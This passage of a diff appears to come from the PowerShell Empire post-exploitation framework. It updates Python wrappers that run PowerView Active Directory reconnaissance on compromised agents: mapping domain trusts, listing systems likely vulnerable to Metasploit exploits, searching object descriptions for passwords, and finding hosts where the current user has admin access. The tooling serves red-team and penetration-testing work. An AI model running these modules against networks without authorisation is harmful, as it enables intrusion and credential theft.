[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
function Get-NetDomainController {
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$d = Get-NetDomain -Domain $Domain
|
||||
if($d){
|
||||
$d.DomainControllers
|
||||
}
|
||||
}
|
||||
"""
|
||||
|
||||
script += "Get-NetDomainController "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
return script
|
|
@ -1,83 +0,0 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetDomainTrusts',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Return all domain trusts for the current domain or '
|
||||
'a specified domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Specific domain to query for trusts, defaults to current.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
if self.options['LDAP']['Value'].lower() == "true":
|
||||
script += "Get-NetDomainTrustsLDAP | Out-String | %{$_ + \"`n\"};"
|
||||
else:
|
||||
script += "Get-NetDomainTrusts | Out-String | %{$_ + \"`n\"};"
|
||||
|
||||
return script
|
|
@ -0,0 +1,114 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-ExploitableSystem',
|
||||
|
||||
'Author': ['Scott Sutherland (@_nullbind)'],
|
||||
|
||||
'Description': ('Queries Active Directory for systems likely vulnerable to various '
|
||||
'Metasploit exploits.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
'Description' : 'Return computers with a specific name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SPN' : {
|
||||
'Description' : 'Return computers with a specific service principal name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OperatingSystem' : {
|
||||
'Description' : 'Return computers with a specific operating system, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Ping' : {
|
||||
'Description' : "Switch. Ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for computers, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -1,79 +0,0 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-MapDomainTrusts',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Maps all reachable domain trusts with .CSV output. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
if self.options['LDAP']['Value'].lower() == "true":
|
||||
script += "Invoke-MapDomainTrustsLDAP | ConvertTo-Csv -NoTypeInformation"
|
||||
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-MapDomainTrustsLDAP completed"'
|
||||
else:
|
||||
script += "Invoke-MapDomainTrusts | ConvertTo-Csv -NoTypeInformation"
|
||||
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-MapDomainTrusts completed"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,104 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-ComputerField',
|
||||
|
||||
'Author': ['@obscuresec', '@harmj0y'],
|
||||
|
||||
'Description': ("Searches computer object fields for a given word (default *pass*). Default field being searched is 'description'. Part of PowerView."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html',
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchTerm' : {
|
||||
'Description' : 'Term to search for, default of "pass".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchField' : {
|
||||
'Description' : 'Field to search in, default of "description".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,98 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-ForeignGroup',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ("Enumerates all the members of a given domain's groups and finds users that are not in the queried domain. Part of PowerView."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'Groupname to filter results for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,11 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetUser',
|
||||
'Name': 'Find-ForeignUser',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Query information for a given user or users in the specified domain.'),
|
||||
'Description': ("Enumerates users who are in groups outside of their principal domain. Part of PowerView."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -35,23 +35,18 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'OU' : {
|
||||
'Description' : 'The OU to pull users from.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : 'Username filter string, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'The complete LDAP query string to use to query for users.',
|
||||
'Description' : 'Username to filter results for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for computers.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -70,8 +65,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetUser.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -82,9 +79,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Get-NetUser "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -94,7 +92,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += " | Out-String"
|
||||
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,113 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-GPOComputerAdmin',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Takes a computer (or GPO) object and determines what users/groups have administrative access over it. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
'Description' : 'The computer to determine local administrative access to.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OUName' : {
|
||||
'Description' : 'OU name to determine who has local adminisrtative acess to computers within it.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Recurse' : {
|
||||
'Description' : 'Switch. If a returned member is a group, recurse and get all members.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LocalGroup' : {
|
||||
'Description' : 'The local group to check access against, "Administrators", "RDP/Remote Desktop Users", or a custom SID. Defaults to "Administrators".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,108 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-GPOLocation',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local admin (or RDP) rights to. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : 'A (single) user name name to query for access.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'A (single) group name name to query for access.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LocalGroup' : {
|
||||
'Description' : 'The local group to check access against, "Administrators", "RDP/Remote Desktop Users", or a custom SID. Defaults to "Administrators".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,12 +5,12 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-FindLocalAdminAccess',
|
||||
'Name': 'Find-LocalAdminAccess',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Finds machines on the local domain where the current user has '
|
||||
'local administrator access.'),
|
||||
'local administrator access. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -36,23 +36,18 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate, comma separated.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Description' : "Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -62,7 +57,17 @@ class Module:
|
|||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : 'The maximum concurrent threads to execute.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -81,8 +86,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-FindLocalAdminAccess.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -93,9 +100,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-FindLocalAdminAccess "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -106,6 +114,6 @@ class Module:
|
|||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`nInvoke-FindLocalAdminAccess completed"'
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,104 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-ComputerField',
|
||||
|
||||
'Author': ['@obscuresec', '@harmj0y'],
|
||||
|
||||
'Description': ("Searches user object fields for a given word (default *pass*). Default field being searched is 'description'."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html',
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchTerm' : {
|
||||
'Description' : 'Term to search for, default of "pass".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchField' : {
|
||||
'Description' : 'Field to search in, default of "description".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
